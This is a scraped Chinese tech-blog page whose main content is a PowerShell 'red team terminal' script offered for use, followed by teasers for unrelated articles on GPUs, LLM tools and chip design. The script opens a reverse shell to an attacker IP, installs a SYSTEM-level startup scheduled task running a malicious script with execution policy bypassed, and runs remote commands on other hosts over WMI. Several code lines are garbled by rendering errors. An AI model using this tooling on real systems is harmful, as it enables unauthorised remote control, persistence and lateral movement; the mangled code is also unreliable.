news 2026/4/18 8:26:25

红队渗透利器:高级系统枚举、权限提升与持久化终端脚本

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
红队渗透利器:高级系统枚举、权限提升与持久化终端脚本

redteam_terminal.ps1

作者:Gerard King

描述:一个用于高级系统枚举、权限提升和持久化的一级红队操作员终端程序。

用例:渗透测试人员和红队操作员在 Windows 环境中进行对抗性演练。

标签:PowerShell,红队,渗透测试,枚举,权限提升,持久化

函数:收集详细的系统信息(例如,操作系统、用户、服务)

function Get-SystemInfo {
$os = Get-CimInstance -ClassName Win32_OperatingSystem
$cpu = Get-CimInstance -ClassName Win32_Processor
$services = Get-Service
users=Get−WmiObject−ClassWin32UserAccountWrite−Host"‘n[+]系统信息:"Write−Host"操作系统:users = Get-WmiObject -Class Win32_UserAccount Write-Host "`n[+] 系统信息:" Write-Host "操作系统:users=GetWmiObjectClassWin32UserAccountWriteHost"‘n[+]系统信息:"WriteHost"操作系统:(os.Caption)∣版本:os.Caption) | 版本:os.Caption)版本:(os.Version)"Write−Host"CPU:os.Version)" Write-Host "CPU:os.Version)"WriteHost"CPU($cpu.Name)"
Write-Host “n[+] 系统上的用户:" $users | ForEach-Object { Write-Host "用户:$($_.Name) | 域:$($_.Domain)" } Write-Host "n[+] 运行中的服务:”
$services | Select-Object Name, Status | Format-Table
}

函数:使用 Netstat 和 PowerShell 扫描开放的端口和活动服务

function Scan-Network {
Write-Host “`n[+] 网络扫描(开放端口):”
$netstat = netstat -an | Select-String “LISTENING”
$netstat | ForEach-Object { Write-Host $_.Line }
}

函数:执行权限提升检查(例如,不安全的权限)

function Priv-EscalationCheck {
Write-Host “n[+] 权限提升检查(不安全的权限):" $vulnerableDirs = @("C:\Program Files", "C:\Windows\System32", "C:\Users\Public") foreach ($dir in $vulnerableDirs) { Write-Host "n检查目录:$dir”
Get-Acl $dir | Select-Object Path, Access
}
}

函数:启动一个反向 Shell 后门

function Start-ReverseShell {
param(
[string]ip,[int]ip, [int]ip,[int]port
)
Write-Host “`n[+] 正在启动反向 Shell 连接到ip:{ip}:ip:{port}”
reverseShell=New−ObjectSystem.Net.Sockets.TcpClient(reverseShell = New-Object System.Net.Sockets.TcpClient(reverseShell=NewObjectSystem.Net.Sockets.TcpClient(ip, $port)
$stream = $reverseShell.GetStream()
writer=New−ObjectSystem.IO.StreamWriter(writer = New-Object System.IO.StreamWriter(writer=NewObjectSystem.IO.StreamWriter(stream)
reader=New−ObjectSystem.IO.StreamReader(reader = New-Object System.IO.StreamReader(reader=NewObjectSystem.IO.StreamReader(stream)
while ($true) {
command=Read−Host"Shell命令"if(command = Read-Host "Shell 命令" if (command=ReadHost"Shell命令"if(command -eq “exit”) {
$writer.WriteLine(“exit”)
$writer.Flush()
break
}
writer.WriteLine(writer.WriteLine(writer.WriteLine(command)
$writer.Flush()
$response = $reader.ReadLine()
Write-Host $response
}
$reader.Close()
$writer.Close()
$reverseShell.Close()
}

函数:创建持久化机制(例如,计划任务)

function Set-Persistence {
Write-Host “`n[+] 正在设置持久化(计划任务)”
$taskName = “RedTeamPersistence”
$taskAction = “powershell.exe -ExecutionPolicy Bypass -File C:\Path\To\Your\MaliciousScript.ps1”
$taskTrigger = New-ScheduledTaskTrigger -AtStartup
$taskActionObj = New-ScheduledTaskAction -Execute “powershell.exe” -Argument $taskAction
Register-ScheduledTask -Action $taskActionObj -Trigger $taskTrigger -TaskNameKaTeX parse error: Undefined control sequence: \SYSTEM at position 29: …r "NT AUTHORITY\̲S̲Y̲S̲T̲E̲M̲" Write-Hos…taskName"
}

函数:发起横向移动(例如,远程 WMI 或 SMB 执行)

function Lateral-Movement {
param(
[string]targetIp,[string]targetIp, [string]targetIp,[string]command
)
Write-Host “`n[+] 正在向 ${targetIp} 发起横向移动”
Invoke-WmiMethod -ComputerName $targetIp -Class Win32_Process -Name Create -ArgumentList $command
Write-Host “[+] 命令已在targetIp上执行:{targetIp} 上执行:targetIp上执行:{command}”
}

函数:提示用户交互并执行命令

function Start-RedTeamTerminal {
# Check-AdminPrivileges # 移除了管理员检查
Clear-Host
Write-Host “[+] 欢迎来到红队终端。准备就绪,等待您的命令。”
Write-Host “[+] 输入 ‘exit’ 退出或输入 ‘help’ 查看可用命令。”
while ($true) {
input=Read−Host"输入命令"switch(input = Read-Host "输入命令" switch (input=ReadHost"输入命令"switch(input.ToLower()) {
‘sysinfo’ { Get-SystemInfo }
‘network’ { Scan-Network }
‘priv’ { Priv-EscalationCheck }
‘rev’ {
$ip = Read-Host “输入攻击者的 IP”
$port = Read-Host “输入端口”
Start-ReverseShell -ip $ip -port $port
}
‘persistence’ { Set-Persistence }
‘lateral’ {
$targetIp = Read-Host “输入目标 IP”
$command = Read-Host “输入要执行的命令”
Lateral-Movement -targetIp $targetIp -command $command
}
‘exit’ { Write-Host “[+] 正在退出红队终端。”; break }
‘help’ {
Write-Host “`n[+] 可用命令:”
Write-Host “‘sysinfo’ - 显示系统信息。”
Write-Host “‘network’ - 扫描开放端口。”
Write-Host “‘priv’ - 检查权限提升机会。”
Write-Host “‘rev’ - 启动反向 Shell 后门。”
Write-Host “‘persistence’ - 通过计划任务设置持久化。”
Write-Host “‘lateral’ - 通过横向移动远程执行命令。”
Write-Host “‘exit’ - 退出终端。”
}
default { Write-Host “[+] 无效命令。输入 ‘help’ 查看可用命令。” }
}
}
}

启动红队终端

Start-RedTeamTerminal

在关闭窗口前暂停

Read-Host “按 Enter 键退出…”
CSD0tFqvECLokhw9aBeRqgzMWoT3AX/+bU4PBIwC6DhNeFb6uWAb2K1DkZza2joRR6xAJk81iZpBY/YhfptuIexMIqBLL1Tek1O1ZgDACjo=
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 6:36:17

H100 真的被封印了吗?我用 vLLM+FP8 把吞吐拉爆了

H100 真的被封印了吗?我用 vLLMFP8 把吞吐拉爆了 为什么要做这次极限压测? 在原生 BF16 精度下,大模型对显存带宽(Memory Bandwidth)和容量的需求呈指数级增长。 高并发场景下,KV Cache 的显存爆炸往往导…

作者头像 李华
网站建设 2026/4/18 6:36:49

Open-AutoGLM 2.0下载安装全流程(含Windows/Linux/Mac支持细节)

第一章:Open-AutoGLM 2.0怎么下载Open-AutoGLM 2.0 是一款面向自动化自然语言处理任务的开源大模型工具包,支持智能推理、代码生成与多模态任务调度。用户可通过官方渠道安全下载并部署该版本。访问官方仓库 推荐通过 GitHub 官方代码托管平台获取最新稳…

作者头像 李华
网站建设 2026/4/18 6:37:26

图解说明工业级STM32应用中的时钟源选择要点

工业级STM32时钟系统设计:从HSE到PLL的实战精要在嵌入式开发的世界里,一个稳定的“心跳”决定了系统的生死。对于工业级STM32应用而言,这个“心跳”就是时钟系统。你有没有遇到过这样的问题?- USB设备插上去却无法枚举&#xff1b…

作者头像 李华
网站建设 2026/4/18 6:33:30

Open-AutoGLM模型实战指南(从部署到优化的5个关键步骤)

第一章:智谱清言使用Open-AutoGLM模型智谱清言是智谱AI推出的一款面向开发者与研究者的语言模型交互平台,其核心集成了开源的AutoGLM系列模型,支持自然语言理解、代码生成、多轮对话等任务。该平台通过Open-AutoGLM模型实现了高效推理与灵活部…

作者头像 李华
网站建设 2026/4/18 10:06:44

【IC】3D DRAM堆叠的互连方式

如果要在芯片上垂直堆叠 DRAM(3D DRAM / 3D-IC),传统的 SerDes 或 DDR 物理层都太“重”了。 在这种极度紧密(几微米间距)的垂直互连中,最佳选择只有两条路:UCIe-3D 或 私有超宽并行总线。 1. 首…

作者头像 李华